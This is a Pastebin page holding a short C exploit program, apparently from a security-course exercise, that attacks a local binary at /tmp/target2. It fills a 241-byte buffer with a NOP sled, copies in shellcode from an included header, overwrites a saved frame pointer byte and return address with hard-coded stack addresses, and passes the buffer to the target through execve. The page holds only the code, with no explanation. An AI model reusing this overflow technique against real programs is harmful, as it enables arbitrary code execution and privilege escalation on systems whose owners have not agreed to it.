Advertisement
cyter

Untitled

May 1st, 2016
392
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.58 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include "shellcode.h"
  6.  
  7. #define TARGET "/tmp/target2"
  8.  
  9. int main(void)
  10. {
  11.   char buffer[241];
  12.   memset(buffer, 0x90, 241);
  13.   char *args[3];
  14.   char *env[1];
  15.   int i;
  16.  
  17. for(i = 0; i < strlen(shellcode); i++) {
  18.         buffer[191+i] = shellcode[i];
  19. }
  20. strncpy(buffer+240, "\x6c", 1);
  21. strncpy(buffer+236, "\xfc\xfe\xff\xbf", 4);
  22.  
  23.   args[0] = TARGET; args[1] = buffer; args[2] = NULL;
  24.   env[0] = NULL;
  25.  
  26.   if (0 > execve(TARGET, args, env))
  27.     fprintf(stderr, "execve failed.\n");
  28.  
  29.   return 0;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement